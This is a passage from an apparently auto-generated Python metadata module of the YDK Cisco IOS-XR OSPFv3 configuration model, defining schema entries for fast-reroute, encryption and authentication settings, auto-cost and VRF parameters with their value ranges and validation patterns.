_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.ProcessScope.FastReroute.PerLink.CandidateInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.ProcessScope.FastReroute.PerLink.CandidateInterfaces',
False,
[
_MetaInfoClassMember('candidate-interface', REFERENCE_LIST, 'CandidateInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.ProcessScope.FastReroute.PerLink.CandidateInterfaces.CandidateInterface',
[], [],
''' Candidate backup interface
''',
'candidate_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.ProcessScope.FastReroute.PerLink.ExcludeInterfaces.ExcludeInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.ProcessScope.FastReroute.PerLink.ExcludeInterfaces.ExcludeInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.ProcessScope.FastReroute.PerLink.ExcludeInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.ProcessScope.FastReroute.PerLink.ExcludeInterfaces',
False,
[
_MetaInfoClassMember('exclude-interface', REFERENCE_LIST, 'ExcludeInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.ProcessScope.FastReroute.PerLink.ExcludeInterfaces.ExcludeInterface',
[], [],
''' Exclude an interface from becoming a backup
''',
'exclude_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.ProcessScope.FastReroute.PerLink' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.ProcessScope.FastReroute.PerLink',
False,
[
_MetaInfoClassMember('candidate-interfaces', REFERENCE_CLASS, 'CandidateInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.ProcessScope.FastReroute.PerLink.CandidateInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix candidate
interface configuration
''',
'candidate_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('exclude-interfaces', REFERENCE_CLASS, 'ExcludeInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.ProcessScope.FastReroute.PerLink.ExcludeInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix exclude
interface configuration
''',
'exclude_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('fast-reroute-use-candidate-only', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Use only interfaces on the candidate list as a
backup path
''',
'fast_reroute_use_candidate_only',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'per-link',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.ProcessScope.FastReroute.PerPrefix.CandidateInterfaces.CandidateInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.ProcessScope.FastReroute.PerPrefix.CandidateInterfaces.CandidateInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.ProcessScope.FastReroute.PerPrefix.CandidateInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.ProcessScope.FastReroute.PerPrefix.CandidateInterfaces',
False,
[
_MetaInfoClassMember('candidate-interface', REFERENCE_LIST, 'CandidateInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.ProcessScope.FastReroute.PerPrefix.CandidateInterfaces.CandidateInterface',
[], [],
''' Candidate backup interface
''',
'candidate_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.ProcessScope.FastReroute.PerPrefix.ExcludeInterfaces.ExcludeInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.ProcessScope.FastReroute.PerPrefix.ExcludeInterfaces.ExcludeInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.ProcessScope.FastReroute.PerPrefix.ExcludeInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.ProcessScope.FastReroute.PerPrefix.ExcludeInterfaces',
False,
[
_MetaInfoClassMember('exclude-interface', REFERENCE_LIST, 'ExcludeInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.ProcessScope.FastReroute.PerPrefix.ExcludeInterfaces.ExcludeInterface',
[], [],
''' Exclude an interface from becoming a backup
''',
'exclude_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.ProcessScope.FastReroute.PerPrefix' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.ProcessScope.FastReroute.PerPrefix',
False,
[
_MetaInfoClassMember('candidate-interfaces', REFERENCE_CLASS, 'CandidateInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.ProcessScope.FastReroute.PerPrefix.CandidateInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix candidate
interface configuration
''',
'candidate_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('exclude-interfaces', REFERENCE_CLASS, 'ExcludeInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.ProcessScope.FastReroute.PerPrefix.ExcludeInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix exclude
interface configuration
''',
'exclude_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('fast-reroute-use-candidate-only', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Use only interfaces on the candidate list as a
backup path
''',
'fast_reroute_use_candidate_only',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'per-prefix',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.ProcessScope.FastReroute' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.ProcessScope.FastReroute',
False,
[
_MetaInfoClassMember('fast-reroute-enable', REFERENCE_ENUM_CLASS, 'Ospfv3FastRerouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3FastRerouteEnum',
[], [],
''' Enable/Disable Fast-reroute per-link or
per-prefix
''',
'fast_reroute_enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('per-link', REFERENCE_CLASS, 'PerLink' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.ProcessScope.FastReroute.PerLink',
[], [],
''' Fast-reroute per-link configuration
''',
'per_link',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('per-prefix', REFERENCE_CLASS, 'PerPrefix' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.ProcessScope.FastReroute.PerPrefix',
[], [],
''' Fast-reroute per-link configuration
''',
'per_prefix',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'fast-reroute',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.ProcessScope' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.ProcessScope',
False,
[
_MetaInfoClassMember('fast-reroute', REFERENCE_CLASS, 'FastReroute' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.ProcessScope.FastReroute',
[], [],
''' Fast-reroute configuration
''',
'fast_reroute',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'process-scope',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.Encryption' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.Encryption',
False,
[
_MetaInfoClassMember('authentication-algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3AuthenticationType2Enum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3AuthenticationType2Enum',
[], [],
''' Use the NULL, MD5 or SHA1 algorithm
''',
'authentication_algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('authentication-password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Specify MD5 or SHA1 password
''',
'authentication_password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Authenticate packets
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption-algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3EncryptionAlgorithmEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3EncryptionAlgorithmEnum',
[], [],
''' Specify the encryption algorithm
''',
'encryption_algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption-password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Encryption password
''',
'encryption_password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spi', ATTRIBUTE, 'int' , None, None,
[('256', '4294967295')], [],
''' Use IPSec ESP authentication. Specify the
Security Parameter Index (SPI) value
''',
'spi',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'encryption',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AutoCost' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AutoCost',
False,
[
_MetaInfoClassMember('disable', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Specify 'true' to assign cost based on
interface type
''',
'disable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('reference-bandwidth', ATTRIBUTE, 'int' , None, None,
[('1', '4294967')], [],
''' Specify reference bandwidth for cost
computations in terms of Mbits per second
''',
'reference_bandwidth',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'auto-cost',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf',
False,
[
_MetaInfoClassMember('vrf-name', ATTRIBUTE, 'str' , None, None,
[], ['[\\w\\-\\.:,_@#%$\\+=\\|;]+'],
''' Name for this VRF
''',
'vrf_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('area-addresses', REFERENCE_CLASS, 'AreaAddresses' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses',
[], [],
''' Area configuration
''',
'area_addresses',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('authentication', REFERENCE_CLASS, 'Authentication' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.Authentication',
[], [],
''' Authenticate OSPFv3 packets
''',
'authentication',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('auto-cost', REFERENCE_CLASS, 'AutoCost' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AutoCost',
[], [],
''' Calculate interface cost according to bandwidth
''',
'auto_cost',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('bfd', REFERENCE_CLASS, 'Bfd' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.Bfd',
[], [],
''' Configure BFD parameters
''',
'bfd',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('capability', REFERENCE_CLASS, 'Capability' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.Capability',
[], [],
''' OSPFv3 Capability
''',
'capability',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('cost', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Interface cost
''',
'cost',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('database-filter', REFERENCE_CLASS, 'DatabaseFilter' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.DatabaseFilter',
[], [],
''' Database filter
''',
'database_filter',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('dead-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Interval after which a neighbor is declared dead
(in seconds)
''',
'dead_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('default-information', REFERENCE_CLASS, 'DefaultInformation' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.DefaultInformation',
[], [],
''' Control distribution of default information
''',
'default_information',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('default-metric', ATTRIBUTE, 'int' , None, None,
[('1', '16777214')], [],
''' Set metric of redistributed routes
''',
'default_metric',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('demand-circuit', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable demand circuit operation
''',
'demand_circuit',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('distance', REFERENCE_CLASS, 'Distance' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.Distance',
[], [],
''' Define an administrative distance
''',
'distance',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('distribute-list', REFERENCE_CLASS, 'DistributeList' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.DistributeList',
[], [],
''' Filter prefixes to/from RIB
''',
'distribute_list',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('distribute-list-out', REFERENCE_CLASS, 'DistributeListOut' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.DistributeListOut',
[], [],
''' Filter prefixes from RIB
''',
'distribute_list_out',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('domain-id', REFERENCE_CLASS, 'DomainId' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.DomainId',
[], [],
''' OSPFv3 Domain ID
''',
'domain_id',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Enable OSPFv3 VRF configuration
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption', REFERENCE_CLASS, 'Encryption' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.Encryption',
[], [],
''' Encrypt and authenticate OSPFv3 packets
''',
'encryption',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('fast-reroute', REFERENCE_CLASS, 'FastReroute' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.FastReroute',
[], [],
''' Fast-reroute instance scoped parameters
''',
'fast_reroute',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('flood-reduction', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable flood reduction
''',
'flood_reduction',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('graceful-restart', REFERENCE_CLASS, 'GracefulRestart' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.GracefulRestart',
[], [],
''' Graceful restart configuration
''',
'graceful_restart',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('hello-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Time between HELLO packets
''',
'hello_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('ignore', REFERENCE_CLASS, 'Ignore' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.Ignore',
[], [],
''' Do not complain about a specified event
''',
'ignore',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('instance', ATTRIBUTE, 'int' , None, None,
[('0', '255')], [],
''' Instance ID
''',
'instance',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('log-adjacency-changes', REFERENCE_ENUM_CLASS, 'Ospfv3LogAdjEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3LogAdjEnum',
[], [],
''' Log changes in adjacency state
''',
'log_adjacency_changes',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('maximum', REFERENCE_CLASS, 'Maximum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.Maximum',
[], [],
''' Set OSPFv3 limits
''',
'maximum',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('mtu-ignore', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable ignoring of MTU in DBD packets
''',
'mtu_ignore',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('network', REFERENCE_ENUM_CLASS, 'Ospfv3NetworkEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3NetworkEnum',
[], [],
''' Specify network type
''',
'network',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('packet-size', ATTRIBUTE, 'int' , None, None,
[('256', '10000')], [],
''' Limit size of OSPFv3 packets
''',
'packet_size',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('passive', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable routing updates on an interface
''',
'passive',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('prefix-suppression', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable prefix suppression on an
interface
''',
'prefix_suppression',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('priority', ATTRIBUTE, 'int' , None, None,
[('0', '255')], [],
''' Specify router priority
''',
'priority',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('process-scope', REFERENCE_CLASS, 'ProcessScope' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.ProcessScope',
[], [],
''' Process scope configuration
''',
'process_scope',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('redistributes', REFERENCE_CLASS, 'Redistributes' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.Redistributes',
[], [],
''' Redistribute information from another routing
protocol
''',
'redistributes',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('retransmit-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Specify the transmit interval in seconds
''',
'retransmit_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('router-id', ATTRIBUTE, 'str' , None, None,
[], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'],
''' Specify the router ID for this OSPFv3 process in
IPv4 address format
''',
'router_id',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('snmp', REFERENCE_CLASS, 'Snmp' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.Snmp',
[], [],
''' SNMP configuration
''',
'snmp',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('snmpvrf-trap', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Enable SNMP trap configuration in a VRF
''',
'snmpvrf_trap',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spf-prefix-priority-policy', ATTRIBUTE, 'str' , None, None,
[], [],
''' Route policy for SPF prefix prioritization
''',
'spf_prefix_priority_policy',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('stub-router', REFERENCE_CLASS, 'StubRouter' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.StubRouter',
[], [],
''' Stub router configuration
''',
'stub_router',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('summary-prefixes', REFERENCE_CLASS, 'SummaryPrefixes' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.SummaryPrefixes',
[], [],
''' Summarize redistributed routes matching
prefix/length
''',
'summary_prefixes',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('timers', REFERENCE_CLASS, 'Timers' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.Timers',
[], [],
''' Adjust routing timers
''',
'timers',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('transmit-delay', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Specify the transmit delay in seconds
''',
'transmit_delay',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'vrf',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs',
False,
[
_MetaInfoClassMember('vrf', REFERENCE_LIST, 'Vrf' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf',
[], [],
''' Configuration for a particular OSPF VRF
''',
'vrf',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
